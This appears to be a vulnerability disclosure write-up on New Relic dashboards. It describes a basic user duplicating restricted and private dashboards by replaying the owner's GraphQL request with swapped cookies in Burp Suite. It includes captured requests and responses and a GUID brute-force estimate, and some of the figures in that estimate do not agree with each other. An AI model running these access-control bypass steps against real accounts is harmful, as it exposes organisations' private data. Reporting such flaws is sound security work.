

# Week 2 - Vulnerability identification

## Walkthrough the main

After some exploration of the web-application, We have no luck to find Vulnerabilities like `XSS` , `SQLi` , `NoSqli` and so on, but fortunately we were able to find some privilege escalation Vulnerabilities lead to leakage of the sensitive information Or manipulating it.

As mentioned in the recon phase this web application has tools for monitoring applications and infrastructure, and here is the users types and privileges :

- Full platform user - this is the owner of the origination and have the whole privileges to do anything
  - Admin - this user have some high privileges like add users and remove users
  - basic user - this is the lowest user with privileges, can't add or remove users, can't duplicate dashboards, or even see the origination Id etc..
- 

## First bug

- **basic user with no access authority, can duplicate any pre-built dashboard**  
as mentioned the basic user can't duplicate these pre-built dashboard if created by the full platform user or admin user  
But this bug bypass this restriction

## Steps to reproduce

- create two accounts on [newrelic](#)
  - the first one will be the full platform user
  - the second one will be add by the full platform user to the origination and it will be the basic user with no privileges

- create a pre-built dashboard by the owner, back to the basic user account, you will notice that you can't duplicate it using the basic user

ADO.NET	825198beb7@mailmaxy.one	Sep 13, 2024	Sep 13, 2024	...
Browser Ajax Requests	825198beb7@mailmaxy.one	Sep 13, 2024	See metadata & tags Duplicate dashboard Delete	
Node.js	825198beb7@mailmaxy.one	Sep 13, 2024		

mo

Full platform user

825198beb7@mailmaxy.one

User Preferences

API Keys

Manage Your Plan

Administration

View settings

Theme

Light

Dark

Auto

Manage Your Data

Log Out

test

Basic user

81e7373077@mailmaxy.one

Get access to more features

User Preferences

API Keys

Manage Your Plan

Administration

View settings

Theme

Light

Dark

Auto

Manage Your Data

Log Out

- now you have to save this basic user cookies
- back to the full platform user account and start your **burpsuite** proxy and make `intercept on` and hit duplicate Dashboard
- in the burpsuite send this request to repeater and click forward, navigate to the in repeater and change request cookie with the basic user cookie and hit `send` , you will see that the basic user could duplicate this dashboard leading to giving the malicious user to edit this duplicated dashboard

	Name ↑	Created by	Last edited	Created on	
☆	ADO.NET	825198beb7@mailmaxy.one	Sep 13, 2024	Sep 13, 2024	...
☆	ADO.NET copy	825198beb7@mailmaxy.one	Sep 13, 2024	Sep 13, 2024	...
☆	ADO.NET copy	81e7373077@mailmaxy.one	Sep 13, 2024	Sep 13, 2024	...

## Business impact

- Privilege Escalation: By duplicating a dashboard, the user might gain access to actions or controls that should only be available to privileged users, allowing them to bypass normal access controls.
- If the duplicated dashboard allows the user to make changes (even just to their copy), it could impact the integrity of the data if those changes affect the underlying system.

Video for the PoC - [Click Here](#)

## Second bug

- A basic user with lowest privileges can duplicate any Private dashboard  
this one is different and even more critical, as the basic user not only can see the private dashboards that the owner had created - note that private dashboards can't be seen by any other user even the admin user - but also the basic user can edit the duplicated dashboard and even hide that he was able to duplicate private dashboards from the owner

## Steps to reproduce

- create two accounts on [newrelic](#)
  - the first one will be the full platform user
  - the second one will be add by the full platform user to the origination and it will be the basic user with no privileges
- navigate to the owner user account and **Create new dashboard**, give it a random name and set **Permissions** to Private, and click create.

# Create a dashboard

## Dashboard name

test - private dashboard

## Permissions ⓘ

Private ▾

Back

Create

- Navigate to the dashboards tap in both account you will be able to see something like that :

- **Owner - Full platform user -**

	Name ↑	Created by	Last edited	Created on	
☆	ADO.NET copy	825198beb7@mailmaxy.one	Sep 13, 2024	Sep 13, 2024	...
☆	ADO.NET copy	81e7373077@mailmaxy.one	Sep 13, 2024	Sep 13, 2024	...
☆	test - private dashboard	825198beb7@mailmaxy.one	Sep 16, 2024	Sep 16, 2024	...

mo  
825198beb7@mailmaxy.one

Full platform user

- **basic user with lowest privilege**

Search by entity name

Entity Type = Dashboard

	Name ↑	Created by	Last edited	Created on	
☆	ADO.NET copy	825198beb7@mailmaxy.one	Sep 13, 2024	Sep 13, 2024	...
☆	ADO.NET copy	81e7373077@mailmaxy.one	Sep 13, 2024	Sep 13, 2024	...

test  
81e7373077@mailmaxy.one

Basic user

- save basic user cookies
- back to the owner user and duplicate this private dashboard and set burpsuite intercept is on, then click duplicate dashboard button
- now in burp you will see a request like the one below, send it to repeater and **Drop** this request.



Time	Type	Direction	Host	Method	URL
11:20:23 16 Sep 2024	HTTP	→ Request	one.newrelic.com	POST	https://one.newrelic.com/graphql
11:20:36 16 Sep 2024	HTTP	→ Request	login.newrelic.com	GET	https://login.newrelic.com/idle_timeout
11:20:36 16 Sep 2024	HTTP	→ Request	one.newrelic.com	POST	https://one.newrelic.com/graphql
11:20:37 16 Sep 2024	HTTP	→ Request	one.newrelic.com	POST	https://one.newrelic.com/graphql

### Request

Pretty
Raw
Hex
GraphQL

```

eyJ21jpbMCwxXSwiZC16eyJ0eS161KJyb3dzZX1iLCJhYy161jE1LCJhcC161jMxNjQ4MDE1LCJpZC161jg5MWM3MjhhZmNmMjQ2OTk1LCJ0c1I61jgxYmY5MjBjNmZlMWU3NTI2MThhMGVmZWU5Zm
NmNWY5IiwidGkiOjE3MjY0NzQ4MjM4NzF9fQ==
Newrelic-Requesting-Services: dashboards.home|nr1-ui
Traceparent: 00-81bf920c6fe1e758618a0efee9fcf5f9-891c728cfcf24699-01
Tracestate: 1@nr=0-1-1-3164801-891c728cfcf24699----1726474823871
X-Query-Source-Capability-Id: DASHBOARDS
X-Query-Source-Component-Id: dashboards.home
X-Requested-With: XMLHttpRequest
Content-Length: 1056
Origin: https://one.newrelic.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

{
  "query":
    "mutation CreateDashboard($accountId:Int!$dashboard:DashboardInput!){dashboardCreate(accountId:$accountId dashboard:$dashboard){entityResult{guid na
me description accountId createdAt updatedAt owner{email userId __typename}permissions pages{guid name description createdAt updatedAt owner{email u
serId __typename}widgets{id visualization{id __typename}layout{column row height width __typename}title linkedEntities{guid __typename}rawConfigurat
ion __typename}__typename}variables{name items{title value __typename}defaultValues{value{string __typename}__typename}nrqlQuery{accountIds query __
typename}options{excluded ignoreTimeRange __typename}title type isMultiSelection replacementStrategy __typename}__typename}errors{description type _
typename}__typename}}",
  "variables":{
    "accountId":4697212,
    "dashboard":{
      "name":"test - private dashboard copy",
      "description":null,
      "permissions":"PUBLIC_READ_WRITE",
      "pages":[
        {
          "guid":"NDY5NzIxMnxWSVp8REFTSEJPQVJEfDIwNDAYnJU4",
          "name":"test - private dashboard",
          "description":null,
          "widgets":[
            ]
          }
        ]
      }
    ],
    "variables":[
    ]
  }
}
```

If permissions set to :

**\*\*PUBLIC\_READ\_WRITE\*\*** : anyone can see it and edit it

**\*\*PUBLIC\_READ\_ONLY\*\*** : anyone can only see it

**\*\*PRIVATE\*\*** : no one can see it except the creator – which is the basic user in our case – even if it was the owner of the organization

- replace this request cookie with the basic user cookies, then hit send and you will see a response like this one:

## Request

Pretty Raw Hex GraphQL


  ln ≡

```
Tracestate: 1@nr=0-1-1-3164801-891c728cfcf24699----1726474823871
X-Query-Source-Capability-Id: DASHBOARDARDS
X-Query-Source-Component-Id: dashboards.home
X-Requested-With: XMLHttpRequest
Content-Length: 1056
Origin: https://one.newrelic.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

{
  "query":
    "mutation CreateDashboard($accountId:Int!$dashboard:DashboardInput!)
    {dashboardCreate(accountId:$accountId dashboard:$dashboard){entity
    Result{guid name description accountId createdAt updatedAt owner{em
    ail userId __typename}permissions pages{guid name description creat
    edAt updatedAt owner{email userId __typename}widgets{id visualizati
    on{id __typename}layout{column row height width __typename}title li
    nkedEntities{guid __typename}rawConfiguration __typename}__typename
    }variables{name items{title value __typename}defaultValues{value{st
    ring __typename}__typename}nrqlQuery{accountIds query __typename}op
    tions{excluded ignoreTimeRange __typename}title type isMultiSelecti
    on replacementStrategy __typename}__typename}errors{description typ
    e __typename}__typename}}",
  "variables":{
    "accountId":4697212,
    "dashboard":{
      "name":"test - private dashboard copy",
      "description":null,
      "permissions":"PUBLIC_READ_WRITE",
      "pages":[
        {
          "guid":
            "NDY5NzIxMnxWSVp8REFTSEJpQVJEfDIwNDAYNjU4",
          "name":"test - private dashboard",
          "description":null,
          "widgets":[
            ]
          }
        ],
      "variables":[
        ]
      }
    }
  }
```

## Response

Pretty Raw Hex Render

 ln ≡

```
1 HTTP/2 200 OK
2 Proxied-By: Service Gateway
3 Access-Control-Allow-Origin: https://one.newrelic.com
4 Access-Control-Expose-Headers: ETag, Link
5 Access-Control-Allow-Credentials: true
6 Access-Control-Max-Age: 86400
7 Content-Security-Policy: frame-ancestors *.newrelic.com
8 Served-By: nerd-graph
9 Cache-Control: max-age=0, private, must-revalidate
10 Content-Type: application/json; charset=utf-8
11 Date: Mon, 16 Sep 2024 08:22:01 GMT
12 Server: external
13 Vary: accept-encoding
14 X-Envoy-Upstream-Service-Time: 402
15 Set-Cookie: login_service_login_newrelic_com_tokens=
%7B%22token%22%3A+%22VuTd%2Ffn6b%2FRaxNciMmLkgB121H%2FhQu01euPpgHlwpGuRRT
c3QoCfuWUp9126bZMR8E34h8k%2FE%2Fxp55IuV%2F1KhItNjW%2BEwnDTSw9X34JYcSvm8N
nxq0X7oH21zM9%2BpwyjxYiRvooMen04IsvanqSeIuyRmcadcowTgZy8QIa%2F5XC2PfY%2F
GlvdJLtxHcu9jD2dpLZ%2FoRKYSNM2VRusQ1Q%2FmraUxxIIk1GbZtUIYs9yRV2aCfMun7W0
GbIgPW1FiyEWxq2IpgphCJ9UzmycAzgB4S5UzWjPreBNUhL%2FKfCp%2FKXmI9N9jr9Iqgpo
%2BYtyjE800QIxc0Rgp5YNBiWS0FV%2FUew%3D%3D%22%2C+%22refresh_token%22%3A+%
22L87Q2p3%2FQqUGZwS0pywpzt8GKxBj478vBHywddv7WonX7s3W66YsavQ28td%2F5%2BLW
zNlTm6aPNFhnV4yc7Hs0Ws7uWCiMnC%2FpbtB03mSF900HXzDya%2BxyKMBNZESh2Y3R9yI%
2FE0QjuBgqr%2B5M5jIkV5ETcTH1rphX1%2FgPLTgPgdxrzuz5%2F7MjlfBWohVPoJGGXPegk
ANXN8EyuN3%2B2w%2F%2FzcsLNPlkVusIiqNhhvcenfoeV7L%2BlrinhhjvFIPNDg0by12zjcj
XKxWaxMCl0w7AiephjgYM0lGETA1dQ0FWNV%2FGRJi8KqINbXZTrVWSw7iItcsS%2BNn13rM
PT9AwFXKuQKR%2FQ%3D%3D%22%7D; Path=/; Domain=.newrelic.com; Secure;
HTTPOnly; SameSite=None
16 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
17
18 {
  "data":{
    "dashboardCreate":{
      "__typename":"DashboardCreateResult",
      "entityResult":{
        "__typename":"DashboardEntityResult",
        "accountId":4697212,
        "createdAt":"2024-09-16T08:22:02Z",
        "description":null,
        "guid":"NDY5NzIxMnxWSVp8REFTSEJpQVJEfGRh0jY4NDYyNzI",
        "name":"test - private dashboard copy",
        "owner":{
          "__typename":"DashboardOwnerInfo",
          "email":"81e7373077@mailmaxy.one",
          "userId":1006281803
        }
      }
    }
```

you can see in the response that the email is set to the user "B" email, now for confirmation that the process did work. let's back to the both accounts and see what happened

- now back to the dashboards window in both accounts - the owner and basic user

The screenshot shows the 'Dashboards' window for the 'Full platform user' account. The left sidebar contains a list of navigation items: All Entities, Dashboards (selected), Query Your Data, APM & Services, Logs, Traces, Synthetic Monitoring, Alerts, Infrastructure, Kubernetes, and Browser. The main content area features a search bar with the text 'Search by entity name' and a filter button 'Entity Type = Dashboard'. Below this is a table with the following data:

	Name ↑	Created by ↑	Last edited	Created on	
☆	ADO.NET copy	825198beb7@mailmaxy.one	Sep 13, 2024	Sep 13, 2024	...
☆	ADO.NET copy	81e7373077@mailmaxy.one	Sep 13, 2024	Sep 13, 2024	...
☆	test - private dashboard	825198beb7@mailmaxy.one	Sep 16, 2024	Sep 16, 2024	...
☆	test - private dashboard copy	81e7373077@mailmaxy.one	Sep 16, 2024	Sep 16, 2024	...

Below the table, the user information is displayed: 'mo' with email '825198beb7@mailmaxy.one' and a 'Full platform user' badge.

The screenshot shows the 'Dashboards' window for the 'Basic user' account. The left sidebar is identical to the previous screenshot. The main content area features the same search bar and filter button. The table below it contains the following data:

	Name ↑	Created by	Last edited	Created on	
☆	ADO.NET copy	825198beb7@mailmaxy.one	Sep 13, 2024	Sep 13, 2024	...
☆	ADO.NET copy	81e7373077@mailmaxy.one	Sep 13, 2024	Sep 13, 2024	...
☆	test - private dashboard copy	81e7373077@mailmaxy.one	Sep 16, 2024	Sep 16, 2024	...

Below the table, the user information is displayed: 'test' with email '81e7373077@mailmaxy.one' and a 'Basic user' badge. A blue button labeled 'Get access to more features' is visible at the bottom.

- But now, there is a problem there are two parameters I have to know if i want to duplicate any private dashboard
1. "accountId" --> which is not a problem because it's fixed for all dasboards so i can get it from any other visible dashboard and get it

2. "guid" - in our case = NDY5NzIxMnxWSVp8REFTSEJPQVJEfDIwNDAYNjU4 -

I noticed that there is an issue in producing this guid, so I created several number of duplication requests for 11 different dashboards and here are their "guid" :

```
NDY5NzIxMnxWSVp8REFTSEJPQVJEfDIwNDA0MzIx NDY5NzIxMnxWSVp8REFTSEJPQVJEfDIwNDAxNjMw
NDY5NzIxMnxWSVp8REFTSEJPQVJEfDIwNDA0NDg2 NDY5NzIxMnxWSVp8REFTSEJPQVJEfDIwNDA0NTE5
NDY5NzIxMnxWSVp8REFTSEJPQVJEfDIwNDA0NTE5 NDY5NzIxMnxWSVp8REFTSEJPQVJEfDIwNDA00DEz
NDY5NzIxMnxWSVp8REFTSEJPQVJEfDIwNDA00DQ2 NDY5NzIxMnxWSVp8REFTSEJPQVJEfDIwNDA00Dg2
NDY5NzIxMnxWSVp8REFTSEJPQVJEfDIwNDA1MDM2 NDY5NzIxMnxWSVp8REFTSEJPQVJEfDIwNDA1MTc5
NDY5NzIxMnxWSVp8REFTSEJPQVJEfDIwNDA1MTgx
```

as you can see: only the last 5 digits are the ones changing, with the use of only 19 different character, so the possibilities are :

$19^{power(5)} = 2476099$  try to enumerate any private dashboard `id` , with some bruteforce the malicious user can duplicate and see them all

but guess what we don't need all of that !!! , we only need to know the first two digits after 34 digits and in every and anycase the first 34 digits are fixed **"NDY5NzIxMnxWSVp8REFTSEJPQVJEfDIwND "**

- that would reduce the possibilities to only  **$19^{power(2)} = 361$  possibility** - even the burp intruder in the community edition can perform the task within a day !! -

the whole guid consists of 40 digits, the first 34 are always fixed, the last `nine` digits could be deleted without causing an error, so the minimum changeable digits accepted - with no errors - are only 2 digits - digit No.30 and 31 - leaving us with :

- **"19"** ( number of possible characters used at the last 11 digits )
  - which are : { '0', '1', '2', '5', '6', 'D', 'E', 'I', 'M', 'N', 'O', 'Q', 'T', 'c', 'g', 'j', 'w', 'x', 'z' }
- **"2"** ( number of acceptable minimum changeable digits with no errors )

so -->  $19^{power(2)} = 361$  possibility

Here is a PoC video for more clarification

Video for the PoC - [Click Here](#)

## Business Impact

- **Sensitive Data Access:** If the dashboard contains confidential information (e.g., financial reports, customer data, internal metrics), duplicating it gives malicious users access to data that others should not have
- that also can lead to **Data Integrity Risks and Manipulation of data** as the malicious user would make a confuse by his duplications and edit the dashboard as he like then release it - as a valid and trusted dashboard - before the main legal one is released
- also that can lead to **Business Impact**, If it's a critical internal dashboard, decisions made on faulty or altered data could damage the company's operations, finances, or strategy.